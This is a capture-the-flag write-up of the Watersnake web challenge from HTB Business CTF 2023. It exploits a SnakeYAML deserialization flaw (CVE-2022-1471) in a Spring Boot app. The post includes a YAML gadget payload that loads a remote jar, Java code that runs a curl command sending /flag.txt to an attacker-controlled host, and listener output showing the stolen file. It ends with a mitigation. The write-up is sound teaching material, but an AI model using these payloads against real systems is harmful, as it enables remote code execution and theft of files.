Post

Watersnake

Challenge

  • CTF: HTB Business CTF 2023: The Great Escape
  • Name: Watersnake
  • Category: Web
  • Difficulty: Easy
  • Points: 375
  • Description: As the United Nations of Zenium and the Board of Arodor engage in a fierce competition to establish a colony on Mars using Vitalium. State hackers from UNZ identify an exposed instance of the critical facility water management software, Watersnakev3, in one of Arodor’s main water treatment plants. The objective is to gain control over the water supply, and weaken the Arodor’s infrastructure.

Files

Download: web_watersnake.zip

Synopsis

The Java Springboot web application was vulnerable to a CVE-2022-1471 SnakeYAML deserialization as the package snakeyaml was not up-to-date. Snyk was able to identify the vulnerability for exploitation during source-code review.

Initial Analysis

You can spin this up via docker and it will be hosted at http://127.0.0.1:1337 or http://172.17.0.3:1337

1
sudo ./build-docker.sh

When browsing to the site for the first time you are presented with a cool welcome screen: watersnake_1

Firmware Update functionality /update.html where it takes a YAML file as input. watersnake_2

The source-code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
@RestController
public class Controller {
	GetWaterLevel sensorReader = new GetWaterLevel("./watersensor --init");

	@GetMapping("/")
	public String index() {
		return "<meta http-equiv=\"Refresh\" content=\"0; url='/index.html'\" />";
	}

	@GetMapping("/stats")
	public String stats() {
		try {
			return sensorReader.readFromSensor("./watersensor --stats");
		} catch (IOException e) {
			return "Sensor error";
		}
	}

	@PostMapping("/update")
	public String update(@RequestParam(name = "config") String updateConfig) {
       	InputStream is = new ByteArrayInputStream(updateConfig.getBytes());

       	Yaml yaml = new Yaml();

	    Map<String, Object> obj = yaml.load(is);

		obj.forEach((key, value) -> System.out.println(key + ":" + value));

		return "Config queued for firmware update";
	}
}

YAML CVE-2022-1471 SnakeYAML Deserialization SpringBoot

Reviewing the source code, we find Snyk identified a deserialization vulnerability with the snakeyaml.Yaml.load() call in the /update API endpoint of src/main/java/com/lean/watersnake/Controller.java. watersnake_3

SnakeYaml is a well-known YAML 1.1 parser and emitter for Java. Recently, a vulnerability — CVE-2022-1471 — was reported for this package. This vulnerability can lead to arbitrary code execution. The org.yaml:snakeyaml package is widely used in the Java ecosystem, in part because it is packaged by default with Spring Boot in the spring-boot-starter. In this article, we look into the security vulnerability affecting this Java library, discuss the potential hazardous impact it may have on your applications, and weigh the actual risks.

The package is outdated per the version in the pom.xml file. pom.xml is an XML file used in Apache Maven, a popular build and project management tool in the Java ecosystem. The file is an essential part of a Maven project and stands for “Project Object Model.” It provides configuration information for Maven to manage the project’s build, dependencies, and other related settings. Thus, this program is vulnerable to CVE-2022-1471.

1
2
3
<groupId>org.yaml</groupId>
<artifactId>snakeyaml</artifactId>
<version>1.33</version>

To exploit this website using CVE-2022-1471, we can use this GitHub repository https://github.com/artsploit/yaml-payload/

YAML Payload

The /update API call is sent when we submit a YAML payload. To exploit this vulnerability we have to host a webserver to host the Java Payload jar file, and then another one to fetch the file contents.

1
2
3
4
5
!!javax.script.ScriptEngineManager [
  !!java.net.URLClassLoader [[
    !!java.net.URL ["http://172.17.0.1/yaml-payload.jar"]
  ]]
]

watersnake_4

Java Payload

1
2
3
4
5
6
7
8
9
10
public class AwesomeScriptEngineFactory implements ScriptEngineFactory {

  public AwesomeScriptEngineFactory() {
    try {
      Runtime.getRuntime().exec("curl -F password=@/flag.txt 172.17.0.1:8000");
    } catch (IOException e) {
      e.printStackTrace();
    }
  }
...[snip] ..

watersnake_5

Make sure your Java version is v17.X since it is specified in the pom.xml file.

1
`<java.version>17</java.version>`
1
2
3
4
$ java --version
openjdk 17.0.8-ea 2023-07-18
OpenJDK Runtime Environment (build 17.0.8-ea+6-Debian-5)
OpenJDK 64-Bit Server VM (build 17.0.8-ea+6-Debian-5, mixed mode, sharing)

Compile Java:

1
2
3
4
5
6
7
8
9
$ javac ./src/artsploit/AwesomeScriptEngineFactory.java
$ jar -cvf yaml-payload.jar -C src/ .
added manifest
ignoring entry META-INF/
adding: META-INF/services/(in = 0) (out= 0)(stored 0%)
adding: META-INF/services/javax.script.ScriptEngineFactory(in = 36) (out= 38)(deflated -5%)
adding: artsploit/(in = 0) (out= 0)(stored 0%)
adding: artsploit/AwesomeScriptEngineFactory.class(in = 1682) (out= 712)(deflated 57%)
adding: artsploit/AwesomeScriptEngineFactory.java(in = 1503) (out= 417)(deflated 72%)

Exploitation

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
172.17.0.3 - - [...] "GET /yaml-payload.jar HTTP/1.1" 200 -

$ nc -nlvp 8000
Ncat: Version 7.94 ( https://nmap.org/ncat )
Ncat: Listening on [::]:8000
Ncat: Listening on 0.0.0.0:8000
Ncat: Connection from 172.17.0.3:34964.
POST / HTTP/1.1
Host: 172.17.0.1:8000
User-Agent: curl/7.74.0
Accept: */*
Content-Length: 217
Content-Type: multipart/form-data; boundary=------------------------4532395a6a822f61

--------------------------4532395a6a822f61
Content-Disposition: form-data; name="password"; filename="flag.txt"
Content-Type: text/plain

HTB{f4k3_fl4g_f0r_t3st1ng}

--------------------------4532395a6a822f61--

Mitigation

The mitigation of this vulnerability is to update to SnakeYAML 2.0 release.

This post is licensed under CC BY 4.0 by the author.